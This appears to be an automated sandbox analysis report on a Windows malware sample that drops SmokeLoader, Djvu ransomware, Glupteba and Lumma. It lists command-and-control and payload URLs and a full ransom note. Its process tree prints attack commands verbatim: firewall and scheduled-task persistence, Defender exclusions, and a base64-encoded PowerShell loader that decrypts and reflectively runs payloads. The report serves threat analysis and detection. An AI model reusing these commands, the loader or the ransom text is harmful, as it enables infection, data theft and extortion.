dcrat | 7c94ffaf6d76f18ce6bfc6039f9252a4b71d79e483d822aeab0de9b3189b6d0e

Analysis

max time kernel
80s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240221-en
resource tags

arch:x64arch:x86image:win10v2004-20240221-enlocale:en-usos:windows10-2004-x64system
submitted
26/02/2024, 05:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
7c94ffaf6d76f18ce6bfc6039f9252a4b71d79e483d822aeab0de9b3189b6d0e.exe
Size 211KB
Sample240226-fpfcqsde57
SHA256 7c94ffaf6d76f18ce6bfc6039f9252a4b71d79e483d822aeab0de9b3189b6d0e
MD5 0b31dc8d9eeaa4a6803873a6c1380c72
SHA1 89a3961bb7b5e29ce53cfc9bb64daa216259a85e
SHA512 7c00f36554dfb6b611227255da75b92bb2200ceadcf92f71fd280cad4c55ee64ed588338b4ed73b110cbf054ea4774c71abc2a66220a65549e04b642404fd26d
SSDEEP 3072:gyJtJkIZYF/TgVdkyrp90TvT5A70CutWTFlEz/BVwNMtyMz7:gyDahrgVdjrpc5EJkQMz
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

dcrat djvu glupteba lumma smokeloader tfd5 agilenet backdoor discovery dropper evasion infostealer loader persistence ransomware rat stealer trojan

Malware Config

Extracted

Family

smokeloader

Botnet

tfd5

Extracted

Family

smokeloader

Version

2022

http://trad-einmyus.com/index.php
http://tradein-myus.com/index.php
http://trade-inmyus.com/index.php

rc4.i32

Extracted

Family

djvu

http://habrafa.com/test1/get.php

Attributes

extension
.lkhy
offline_id
OxV6DGl22io8sqMOW1zCCOlzPiv4f1Vqzw7Y8zt1
payload_url
http://brusuax.com/dl/build2.exe

http://habrafa.com/files/1/build3.exe
ransomnote
ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. Do not ask assistants from youtube and recovery data sites for help in recovering your data. They can use your free decryption quota and scam you. Our contact is emails in this text document only. You can get and look video overview decrypt tool: https://we.tl/t-uNdL2KHHdy Price of private key and decrypt software is $999. Discount 50% available if you contact us first 72 hours, that's price for you is $499. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: [email protected] Reserve e-mail address to contact us: [email protected] Your personal ID: 0851ASdw

rsa_pubkey.plain

Extracted

Family

lumma

https://resergvearyinitiani.shop/api
https://technologyenterdo.shop/api
https://detectordiscusser.shop/api
https://turkeyunlikelyofw.shop/api
https://associationokeo.shop/api

Signatures

DcRat 3 IoCs

DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

rat infostealer dcrat

description	ioc	pid	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI		7c94ffaf6d76f18ce6bfc6039f9252a4b71d79e483d822aeab0de9b3189b6d0e.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3844919115-497234255-166257750-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\0bd7fa0b-1d65-42de-98c2-40ce97e598a4\\19BE.exe\" --AutoStart"		19BE.exe
		1344	schtasks.exe

Detected Djvu ransomware 10 IoCs

resource	yara_rule
behavioral2/memory/1784-22-0x00000000037F0000-0x000000000390B000-memory.dmp	family_djvu
behavioral2/memory/4400-23-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/4400-25-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/4400-26-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/4400-27-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/4400-36-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/4400-39-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/4748-44-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/4748-45-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/4748-47-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu

Djvu Ransomware
Ransomware which is a variant of the STOP family.
ransomware djvu
Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 7 IoCs

resource	yara_rule
behavioral2/memory/3144-70-0x0000000003F10000-0x00000000047FB000-memory.dmp	family_glupteba
behavioral2/memory/3144-71-0x0000000000400000-0x0000000001E0D000-memory.dmp	family_glupteba
behavioral2/memory/3144-96-0x0000000000400000-0x0000000001E0D000-memory.dmp	family_glupteba
behavioral2/memory/3144-103-0x0000000003F10000-0x00000000047FB000-memory.dmp	family_glupteba
behavioral2/memory/3144-128-0x0000000000400000-0x0000000001E0D000-memory.dmp	family_glupteba
behavioral2/memory/3144-148-0x0000000000400000-0x0000000001E0D000-memory.dmp	family_glupteba
behavioral2/memory/3932-168-0x0000000000400000-0x0000000001E0D000-memory.dmp	family_glupteba

Lumma Stealer
An infostealer written in C++ first seen in August 2022.
stealer lumma
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Detects Windows executables referencing non-Windows User-Agents 5 IoCs

resource	yara_rule
behavioral2/memory/3144-71-0x0000000000400000-0x0000000001E0D000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral2/memory/3144-96-0x0000000000400000-0x0000000001E0D000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral2/memory/3144-128-0x0000000000400000-0x0000000001E0D000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral2/memory/3144-148-0x0000000000400000-0x0000000001E0D000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral2/memory/3932-168-0x0000000000400000-0x0000000001E0D000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA

Detects executables Discord URL observed in first stage droppers 5 IoCs

resource	yara_rule
behavioral2/memory/3144-71-0x0000000000400000-0x0000000001E0D000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_DiscordURL
behavioral2/memory/3144-96-0x0000000000400000-0x0000000001E0D000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_DiscordURL
behavioral2/memory/3144-128-0x0000000000400000-0x0000000001E0D000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_DiscordURL
behavioral2/memory/3144-148-0x0000000000400000-0x0000000001E0D000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_DiscordURL
behavioral2/memory/3932-168-0x0000000000400000-0x0000000001E0D000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_DiscordURL

Detects executables containing URLs to raw contents of a Github gist 5 IoCs

resource	yara_rule
behavioral2/memory/3144-71-0x0000000000400000-0x0000000001E0D000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral2/memory/3144-96-0x0000000000400000-0x0000000001E0D000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral2/memory/3144-128-0x0000000000400000-0x0000000001E0D000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral2/memory/3144-148-0x0000000000400000-0x0000000001E0D000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral2/memory/3932-168-0x0000000000400000-0x0000000001E0D000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL

Detects executables containing artifacts associated with disabling Widnows Defender 5 IoCs

resource	yara_rule
behavioral2/memory/3144-71-0x0000000000400000-0x0000000001E0D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/3144-96-0x0000000000400000-0x0000000001E0D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/3144-128-0x0000000000400000-0x0000000001E0D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/3144-148-0x0000000000400000-0x0000000001E0D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/3932-168-0x0000000000400000-0x0000000001E0D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender

Detects executables packed with Agile.NET / CliSecure 1 IoCs

resource	yara_rule
behavioral2/memory/4344-182-0x0000000002EB0000-0x0000000002F1A000-memory.dmp	INDICATOR_EXE_Packed_AgileDotNet

Detects executables referencing many varying, potentially fake Windows User-Agents 5 IoCs

resource	yara_rule
behavioral2/memory/3144-71-0x0000000000400000-0x0000000001E0D000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral2/memory/3144-96-0x0000000000400000-0x0000000001E0D000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral2/memory/3144-128-0x0000000000400000-0x0000000001E0D000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral2/memory/3144-148-0x0000000000400000-0x0000000001E0D000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral2/memory/3932-168-0x0000000000400000-0x0000000001E0D000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA

Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3180	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3844919115-497234255-166257750-1000\Control Panel\International\Geo\Nation	19BE.exe

Deletes itself 1 IoCs

pid	Process
3584	Process not Found

Executes dropped EXE 8 IoCs

pid	Process
1784	19BE.exe
4400	19BE.exe
1928	19BE.exe
4748	19BE.exe
3836	74B0.exe
3144	8491.exe
2628	B120.exe
4344	CD34.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2856	icacls.exe

Obfuscated with Agile.Net obfuscator 1 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

resource	yara_rule
behavioral2/memory/4344-182-0x0000000002EB0000-0x0000000002F1A000-memory.dmp	agile_net

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3844919115-497234255-166257750-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\0bd7fa0b-1d65-42de-98c2-40ce97e598a4\\19BE.exe\" --AutoStart"	19BE.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
82	api.2ip.ua
83	api.2ip.ua

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1784 set thread context of 4400	1784	19BE.exe	99
PID 1928 set thread context of 4748	1928	19BE.exe	103

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4436	4748	WerFault.exe	103

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	7c94ffaf6d76f18ce6bfc6039f9252a4b71d79e483d822aeab0de9b3189b6d0e.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	7c94ffaf6d76f18ce6bfc6039f9252a4b71d79e483d822aeab0de9b3189b6d0e.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	7c94ffaf6d76f18ce6bfc6039f9252a4b71d79e483d822aeab0de9b3189b6d0e.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1344	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1372	7c94ffaf6d76f18ce6bfc6039f9252a4b71d79e483d822aeab0de9b3189b6d0e.exe
1372	7c94ffaf6d76f18ce6bfc6039f9252a4b71d79e483d822aeab0de9b3189b6d0e.exe
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found
3584	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1372	7c94ffaf6d76f18ce6bfc6039f9252a4b71d79e483d822aeab0de9b3189b6d0e.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3584	Process not Found
Token: SeCreatePagefilePrivilege	3584	Process not Found
Token: SeShutdownPrivilege	3584	Process not Found
Token: SeCreatePagefilePrivilege	3584	Process not Found
Token: SeShutdownPrivilege	3584	Process not Found
Token: SeCreatePagefilePrivilege	3584	Process not Found
Token: SeShutdownPrivilege	3584	Process not Found
Token: SeCreatePagefilePrivilege	3584	Process not Found
Token: SeDebugPrivilege	2736	powershell.exe
Token: SeDebugPrivilege	4344	CD34.exe

Suspicious use of WriteProcessMemory 50 IoCs

description	pid	Process	procid_target
PID 3584 wrote to memory of 4264	3584	Process not Found	93
PID 3584 wrote to memory of 4264	3584	Process not Found	93
PID 4264 wrote to memory of 1580	4264	cmd.exe	95
PID 4264 wrote to memory of 1580	4264	cmd.exe	95
PID 3584 wrote to memory of 1784	3584	Process not Found	98
PID 3584 wrote to memory of 1784	3584	Process not Found	98
PID 3584 wrote to memory of 1784	3584	Process not Found	98
PID 1784 wrote to memory of 4400	1784	19BE.exe	99
PID 1784 wrote to memory of 4400	1784	19BE.exe	99
PID 1784 wrote to memory of 4400	1784	19BE.exe	99
PID 1784 wrote to memory of 4400	1784	19BE.exe	99
PID 1784 wrote to memory of 4400	1784	19BE.exe	99
PID 1784 wrote to memory of 4400	1784	19BE.exe	99
PID 1784 wrote to memory of 4400	1784	19BE.exe	99
PID 1784 wrote to memory of 4400	1784	19BE.exe	99
PID 1784 wrote to memory of 4400	1784	19BE.exe	99
PID 1784 wrote to memory of 4400	1784	19BE.exe	99
PID 4400 wrote to memory of 2856	4400	19BE.exe	100
PID 4400 wrote to memory of 2856	4400	19BE.exe	100
PID 4400 wrote to memory of 2856	4400	19BE.exe	100
PID 4400 wrote to memory of 1928	4400	19BE.exe	101
PID 4400 wrote to memory of 1928	4400	19BE.exe	101
PID 4400 wrote to memory of 1928	4400	19BE.exe	101
PID 1928 wrote to memory of 4748	1928	19BE.exe	103
PID 1928 wrote to memory of 4748	1928	19BE.exe	103
PID 1928 wrote to memory of 4748	1928	19BE.exe	103
PID 1928 wrote to memory of 4748	1928	19BE.exe	103
PID 1928 wrote to memory of 4748	1928	19BE.exe	103
PID 1928 wrote to memory of 4748	1928	19BE.exe	103
PID 1928 wrote to memory of 4748	1928	19BE.exe	103
PID 1928 wrote to memory of 4748	1928	19BE.exe	103
PID 1928 wrote to memory of 4748	1928	19BE.exe	103
PID 1928 wrote to memory of 4748	1928	19BE.exe	103
PID 3584 wrote to memory of 3836	3584	Process not Found	108
PID 3584 wrote to memory of 3836	3584	Process not Found	108
PID 3584 wrote to memory of 3836	3584	Process not Found	108
PID 3584 wrote to memory of 3540	3584	Process not Found	109
PID 3584 wrote to memory of 3540	3584	Process not Found	109
PID 3540 wrote to memory of 2200	3540	cmd.exe	111
PID 3540 wrote to memory of 2200	3540	cmd.exe	111
PID 3584 wrote to memory of 3144	3584	Process not Found	112
PID 3584 wrote to memory of 3144	3584	Process not Found	112
PID 3584 wrote to memory of 3144	3584	Process not Found	112
PID 3144 wrote to memory of 2736	3144	8491.exe	113
PID 3144 wrote to memory of 2736	3144	8491.exe	113
PID 3144 wrote to memory of 2736	3144	8491.exe	113
PID 3584 wrote to memory of 2628	3584	Process not Found	115
PID 3584 wrote to memory of 2628	3584	Process not Found	115
PID 3584 wrote to memory of 4344	3584	Process not Found	116
PID 3584 wrote to memory of 4344	3584	Process not Found	116

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\7c94ffaf6d76f18ce6bfc6039f9252a4b71d79e483d822aeab0de9b3189b6d0e.exe
"C:\Users\Admin\AppData\Local\Temp\7c94ffaf6d76f18ce6bfc6039f9252a4b71d79e483d822aeab0de9b3189b6d0e.exe"
1⤵
- DcRat
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1372

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\693.bat" "
1⤵
- Suspicious use of WriteProcessMemory
PID:4264
- C:\Windows\system32\reg.exe
  reg add "HKEY_CURRENT_USER\Software\clicker\key" /v primary /t REG_DWORD /d 1
  2⤵
  PID:1580

C:\Users\Admin\AppData\Local\Temp\19BE.exe
C:\Users\Admin\AppData\Local\Temp\19BE.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1784
- C:\Users\Admin\AppData\Local\Temp\19BE.exe
  C:\Users\Admin\AppData\Local\Temp\19BE.exe
  2⤵
  - DcRat
  - Checks computer location settings
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:4400
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\0bd7fa0b-1d65-42de-98c2-40ce97e598a4" /deny *S-1-1-0:(OI)(CI)(DE,DC)
    3⤵
    - Modifies file permissions
    PID:2856
- - C:\Users\Admin\AppData\Local\Temp\19BE.exe
    "C:\Users\Admin\AppData\Local\Temp\19BE.exe" --Admin IsNotAutoStart IsNotTask
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:1928
  - - C:\Users\Admin\AppData\Local\Temp\19BE.exe
      "C:\Users\Admin\AppData\Local\Temp\19BE.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      PID:4748
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 588
        5⤵
        Program crash
        
        PID:4436

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4748 -ip 4748
1⤵
PID:4484

C:\Users\Admin\AppData\Local\Temp\74B0.exe
C:\Users\Admin\AppData\Local\Temp\74B0.exe
1⤵
- Executes dropped EXE
PID:3836

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7935.bat" "
1⤵
- Suspicious use of WriteProcessMemory
PID:3540
- C:\Windows\system32\reg.exe
  reg add "HKEY_CURRENT_USER\Software\clicker\key" /v primary /t REG_DWORD /d 1
  2⤵
  PID:2200

C:\Users\Admin\AppData\Local\Temp\8491.exe
C:\Users\Admin\AppData\Local\Temp\8491.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3144
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -nologo -noprofile
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2736
- C:\Users\Admin\AppData\Local\Temp\8491.exe
  "C:\Users\Admin\AppData\Local\Temp\8491.exe"
  2⤵
  PID:3932
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    PID:4064
- - C:\Windows\system32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    PID:3248
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:3180
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    PID:1116
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    PID:5048
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe
    3⤵
    PID:2404
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:3244
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      DcRat
      Creates scheduled task(s)
      PID:1344
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /delete /tn ScheduledUpdate /f
      4⤵
      PID:1496
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:3756

C:\Users\Admin\AppData\Local\Temp\B120.exe
C:\Users\Admin\AppData\Local\Temp\B120.exe
1⤵
- Executes dropped EXE
PID:2628

C:\Users\Admin\AppData\Local\Temp\CD34.exe
C:\Users\Admin\AppData\Local\Temp\CD34.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4344
- C:\Users\Admin\AppData\Local\Temp\CD34.exe
  C:\Users\Admin\AppData\Local\Temp\CD34.exe
  2⤵
  PID:2128

C:\Users\Admin\AppData\Local\Temp\D5F0.exe
C:\Users\Admin\AppData\Local\Temp\D5F0.exe
1⤵
PID:3232
- C:\Windows\system32\cmd.exe
  "cmd" /C start C:\Users\Admin\AppData\Local\Temp\downloadx.cmd
  2⤵
  PID:4256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\downloadx.cmd
    3⤵
    PID:1808
  - - C:\Windows\system32\cmd.exe
      cmd /c "set __=^&rem"
      4⤵
      PID:3416
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\downloadx.cmd
      4⤵
      PID:1864
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "set __=^&rem"
        5⤵
        
        PID:4816
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        5⤵
        
        PID:3228
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        
        PID:4832
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
        6⤵
        
        PID:4720
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\downloadx')
        6⤵
        
        PID:1716
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 54080' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\strt.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        6⤵
        
        PID:3052
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Roaming\strt.cmd"
        6⤵
        
        PID:1824
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\strt.cmd"
        7⤵
        
        PID:4644
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "set __=^&rem"
        8⤵
        
        PID:3968
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\strt.cmd';iex ([Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtdyBoaWRkZW47ZnVuY3Rpb24gd2pVTVIoJHBLWFZGKXskVEhMQ0k9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JFRITENJLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzskVEhMQ0kuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OyRUSExDSS5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnekNYNWU1Z05Oa0JhMXBMYlNKUVp4TXdVMGQ2QmpYWnc5M3EwZU0ySlg0ND0nKTskVEhMQ0kuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnSkZsS3hBdG5GaTBYTWZOU3g2Y0R5QT09Jyk7JFNScklQPSRUSExDSS5DcmVhdGVEZWNyeXB0b3IoKTskdldIU2c9JFNScklQLlRyYW5zZm9ybUZpbmFsQmxvY2soJHBLWFZGLDAsJHBLWFZGLkxlbmd0aCk7JFNScklQLkRpc3Bvc2UoKTskVEhMQ0kuRGlzcG9zZSgpOyR2V0hTZzt9ZnVuY3Rpb24gV05ZelEoJHBLWFZGKXska3FsRHY9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtKCwkcEtYVkYpOyRaZ2dzcz1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW07JHJyc3lwPU5ldy1PYmplY3QgU3lzdGVtLklPLkNvbXByZXNzaW9uLkdaaXBTdHJlYW0oJGtxbER2LFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTskcnJzeXAuQ29weVRvKCRaZ2dzcyk7JHJyc3lwLkRpc3Bvc2UoKTska3FsRHYuRGlzcG9zZSgpOyRaZ2dzcy5EaXNwb3NlKCk7JFpnZ3NzLlRvQXJyYXkoKTt9JHhVVlNxPVtTeXN0ZW0uSU8uRmlsZV06OlJlYWRMaW5lcyhbQ29uc29sZV06OlRpdGxlKTskTmxuYU09V05ZelEgKHdqVU1SIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoW1N5c3RlbS5MaW5xLkVudW1lcmFibGVdOjpFbGVtZW50QXQoJHhVVlNxLCA1KS5TdWJzdHJpbmcoMikpKSk7JHBoS2JWPVdOWXpRICh3alVNUiAoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFtTeXN0ZW0uTGlucS5FbnVtZXJhYmxlXTo6RWxlbWVudEF0KCR4VVZTcSwgNikuU3Vic3RyaW5nKDIpKSkpO1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kcGhLYlYpLkVudHJ5UG9pbnQuSW52b2tlKCRudWxsLCRudWxsKTtbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJE5sbmFNKS5FbnRyeVBvaW50Lkludm9rZSgkbnVsbCwkbnVsbCk7'))) "
        8⤵
        
        PID:1212
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        8⤵
        
        PID:4556
    - - C:\Windows\system32\cmd.exe
        
